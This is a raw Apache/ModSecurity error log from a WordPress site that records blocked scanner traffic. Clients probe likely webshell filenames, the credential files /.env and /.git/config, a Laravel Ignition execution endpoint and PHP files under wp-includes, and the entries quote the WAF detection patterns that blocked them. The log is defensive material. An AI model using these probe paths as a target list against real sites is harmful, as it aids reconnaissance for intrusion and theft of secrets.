[Thu Dec 18 22:00:27.840422 2025] [:error] [pid 23645:tid 23669] [client 4.190.217.214:9025] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aUQI-zf_Rx0Y0ao_QJhogAAAAJY"]
[Thu Dec 18 22:00:28.491683 2025] [:error] [pid 23558:tid 23627] [client 4.190.217.214:9106] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aUQI_OHam9NbgPQa9uYyNAAAAMw"]
[Thu Dec 18 22:00:28.950977 2025] [:error] [pid 12239:tid 12252] [client 4.190.217.214:8863] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aUQI_NNnXxfGIuWO6akn3QAAAog"]
[Thu Dec 18 22:00:29.259579 2025] [:error] [pid 12239:tid 12265] [client 4.190.217.214:8913] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aUQI_dNnXxfGIuWO6akn4AAAApU"]
[Thu Dec 18 22:00:29.573676 2025] [:error] [pid 12239:tid 12258] [client 4.190.217.214:8832] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aUQI_dNnXxfGIuWO6akn5AAAAo4"]
[Thu Dec 18 22:00:29.930056 2025] [:error] [pid 24542:tid 24568] [client 4.190.217.214:8919] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aUQI_UtQz4H2oS3NrDYsGwAAAVg"]
[Thu Dec 18 22:00:30.472241 2025] [:error] [pid 23558:tid 23632] [client 4.190.217.214:8938] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mpvloi.php"] [unique_id "aUQI_uHam9NbgPQa9uYyNQAAANE"]
[Thu Dec 18 22:00:30.843956 2025] [:error] [pid 24433:tid 24451] [client 4.190.217.214:9015] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mpvloi.php"] [unique_id "aUQI_p4pN9ycmipm8TjkJwAAAQ8"]
[Thu Dec 18 22:00:31.159606 2025] [:error] [pid 24433:tid 24441] [client 4.190.217.214:8843] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mpvloi.php"] [unique_id "aUQI_54pN9ycmipm8TjkKAAAAQU"]
[Thu Dec 18 22:00:31.721978 2025] [:error] [pid 24542:tid 24550] [client 4.190.217.214:8957] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mpvloi.php"] [unique_id "aUQI_0tQz4H2oS3NrDYsHwAAAUY"]
[Thu Dec 18 22:00:32.267149 2025] [:error] [pid 24433:tid 24452] [client 4.190.217.214:8975] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v1.php"] [unique_id "aUQJAJ4pN9ycmipm8TjkKgAAARA"]
[Thu Dec 18 22:00:32.690025 2025] [:error] [pid 23645:tid 23659] [client 4.190.217.214:8935] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v1.php"] [unique_id "aUQJADf_Rx0Y0ao_QJhohAAAAIw"]
[Thu Dec 18 22:00:32.986042 2025] [:error] [pid 23645:tid 23649] [client 4.190.217.214:8918] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v1.php"] [unique_id "aUQJADf_Rx0Y0ao_QJhohQAAAII"]
[Thu Dec 18 22:00:33.314050 2025] [:error] [pid 25357:tid 25364] [client 4.190.217.214:8916] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v1.php"] [unique_id "aUQJAYaT7bsEXnJVfJd2eQAAAcU"]
[Thu Dec 18 22:00:33.767049 2025] [:error] [pid 24542:tid 24557] [client 4.190.217.214:8992] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUQJAUtQz4H2oS3NrDYsIwAAAU0"]
[Thu Dec 18 22:00:34.165919 2025] [:error] [pid 24542:tid 24558] [client 4.190.217.214:8927] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUQJAktQz4H2oS3NrDYsJgAAAU4"]
[Thu Dec 18 22:00:34.538609 2025] [:error] [pid 24542:tid 24563] [client 4.190.217.214:13185] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUQJAktQz4H2oS3NrDYsKAAAAVM"]
[Thu Dec 18 22:00:34.891138 2025] [:error] [pid 24433:tid 24457] [client 4.190.217.214:8867] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUQJAp4pN9ycmipm8TjkLwAAARU"]
[Thu Dec 18 22:00:35.346160 2025] [:error] [pid 25357:tid 25360] [client 4.190.217.214:8900] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dex.php"] [unique_id "aUQJA4aT7bsEXnJVfJd2fgAAAcE"]
[Thu Dec 18 22:00:35.677761 2025] [:error] [pid 23558:tid 23622] [client 4.190.217.214:9018] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dex.php"] [unique_id "aUQJA-Ham9NbgPQa9uYyOAAAAMc"]
[Thu Dec 18 22:00:36.190075 2025] [:error] [pid 24433:tid 24439] [client 4.190.217.214:8925] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dex.php"] [unique_id "aUQJBJ4pN9ycmipm8TjkMQAAAQM"]
[Thu Dec 18 22:00:36.562054 2025] [:error] [pid 12035:tid 12059] [client 4.190.217.214:8848] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dex.php"] [unique_id "aUQJBLcVHrNSHjCo-0qhWQAAAhA"]
[Thu Dec 18 22:00:37.066474 2025] [:error] [pid 12383:tid 12392] [client 4.190.217.214:8931] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/angelV2.php"] [unique_id "aUQJBfdgllo9h1cyxGbP8AAAAsY"]
[Thu Dec 18 22:00:37.408805 2025] [:error] [pid 23558:tid 23625] [client 4.190.217.214:8844] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/angelV2.php"] [unique_id "aUQJBeHam9NbgPQa9uYyPQAAAMo"]
[Thu Dec 18 22:00:37.810663 2025] [:error] [pid 23558:tid 23624] [client 4.190.217.214:8859] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/angelV2.php"] [unique_id "aUQJBeHam9NbgPQa9uYyPwAAAMk"]
[Thu Dec 18 22:00:38.156384 2025] [:error] [pid 12383:tid 12389] [client 4.190.217.214:9121] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/angelV2.php"] [unique_id "aUQJBvdgllo9h1cyxGbP8QAAAsM"]
[Thu Dec 18 22:09:37.841406 2025] [:error] [pid 24542:tid 24562] [client 223.244.35.77:40391] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUQLIUtQz4H2oS3NrDYuQwAAAVI"]
[Fri Dec 19 01:45:18.131013 2025] [:error] [pid 65011:tid 65068] [client 43.166.136.202:52132] [client 43.166.136.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUQ9rtqlBhOfWMNHM-7KZAAAAVc"]
[Fri Dec 19 02:46:41.490869 2025] [:error] [pid 65011:tid 65065] [client 54.178.86.26:39136] [client 54.178.86.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aURMEdqlBhOfWMNHM-7agAAAAVQ"]
[Fri Dec 19 02:46:42.124836 2025] [:error] [pid 37418:tid 37438] [client 54.178.86.26:39184] [client 54.178.86.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aURMEq0VAcRIm10OnozW4QAAAJI"]
[Fri Dec 19 03:06:33.607487 2025] [:error] [pid 45738:tid 45786] [client 43.166.245.120:40278] [client 43.166.245.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aURQuXnw52b7ekJTIU3cdAAAANI"]
[Fri Dec 19 04:10:05.470683 2025] [:error] [pid 64979:tid 64991] [client 209.38.89.131:2666] [client 209.38.89.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aURfncTf9GnU9RkPzittqwAAAQo"]
[Fri Dec 19 04:10:06.319736 2025] [:error] [pid 61923:tid 61988] [client 209.38.89.131:2694] [client 209.38.89.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aURfnuIJyAkgoURyh1i_AQAAAIk"]
[Fri Dec 19 04:10:06.676006 2025] [:error] [pid 64979:tid 64990] [client 209.38.89.131:2764] [client 209.38.89.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_ignition/execute-solution"] [unique_id "aURfnsTf9GnU9RkPzittrgAAAQk"]
[Fri Dec 19 04:10:06.946264 2025] [:error] [pid 61921:tid 61943] [client 209.38.89.131:2788] [client 209.38.89.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/_ignition/execute-solution"] [unique_id "aURfniI5bruBgrPWiCCrUQAAABI"]
[Fri Dec 19 04:10:07.228201 2025] [:error] [pid 61923:tid 61996] [client 209.38.89.131:2818] [client 209.38.89.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aURfn-IJyAkgoURyh1i_BQAAAJE"]
[Fri Dec 19 10:27:20.662034 2025] [:error] [pid 41858:tid 41860] [client 182.42.105.144:36320] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUS4CJ0PV23R6CcTulW2BwAAAEA"]
[Fri Dec 19 17:10:51.470876 2025] [:error] [pid 20580:tid 20603] [client 43.164.197.177:42414] [client 43.164.197.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUUWm0md1op_YdAdgR1USAAAAFE"]
[Fri Dec 19 23:31:50.264639 2025] [:error] [pid 20582:tid 20661] [client 185.223.152.209:20509] [client 185.223.152.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.209, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUVv5spAnrkQKZ4b5gZy3QAAANM"]
[Sat Dec 20 02:39:56.871925 2025] [autoindex:error] [pid 39268:tid 39315] [client 185.249.225.220:62437] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Dec 20 05:10:56.654452 2025] [:error] [pid 39491:tid 39519] [client 104.208.66.28:12259] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUW_YFtw2ggYvDxu2ECx4AAAABg"], referer: https://www.google.com/
[Sat Dec 20 05:10:57.281017 2025] [:error] [pid 39492:tid 39524] [client 104.208.66.28:12245] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aUW_YYs_ZYP1UQNM9hZzcQAAAEI"], referer: https://www.bing.com/
[Sat Dec 20 05:11:07.118652 2025] [:error] [pid 18807:tid 18811] [client 104.208.66.28:12161] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUW_a2RP9n5OCTllYeXScAAAAYI"], referer: https://www.google.de/
[Sat Dec 20 05:11:07.447124 2025] [:error] [pid 39491:tid 39502] [client 104.208.66.28:12169] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUW_a1tw2ggYvDxu2ECx6gAAAAc"], referer: https://www.yahoo.com/
[Sat Dec 20 05:11:08.370528 2025] [:error] [pid 39491:tid 39506] [client 104.208.66.28:12241] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aUW_bFtw2ggYvDxu2ECx7gAAAAs"], referer: https://duckduckgo.com/
[Sat Dec 20 05:11:09.312775 2025] [:error] [pid 39491:tid 39512] [client 104.208.66.28:12247] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aUW_bVtw2ggYvDxu2ECx8gAAABE"], referer: https://www.bing.com/
[Sat Dec 20 05:11:09.630520 2025] [:error] [pid 39491:tid 39507] [client 104.208.66.28:12256] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aUW_bVtw2ggYvDxu2ECx8wAAAAw"], referer: https://www.google.de/
[Sat Dec 20 05:11:09.950501 2025] [:error] [pid 39491:tid 39508] [client 104.208.66.28:12176] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUW_bVtw2ggYvDxu2ECx9QAAAA0"], referer: https://www.bing.com/
[Sat Dec 20 05:11:10.272221 2025] [:error] [pid 39491:tid 39502] [client 104.208.66.28:12167] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aUW_bltw2ggYvDxu2ECx9wAAAAc"], referer: https://www.google.de/
[Sat Dec 20 05:11:10.590539 2025] [:error] [pid 14286:tid 14301] [client 104.208.66.28:12226] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUW_bp7rbXIrw6rGSdaRDwAAAUs"], referer: https://www.google.de/
[Sat Dec 20 05:11:11.255062 2025] [:error] [pid 39493:tid 39550] [client 104.208.66.28:12285] [client 104.208.66.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aUW_b2hjL2VG_FmIHqD5xQAAAIE"], referer: https://www.google.com/
[Sat Dec 20 05:34:01.369346 2025] [:error] [pid 18807:tid 18830] [client 121.229.185.160:36173] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUXEyWRP9n5OCTllYeXYfgAAAZU"]
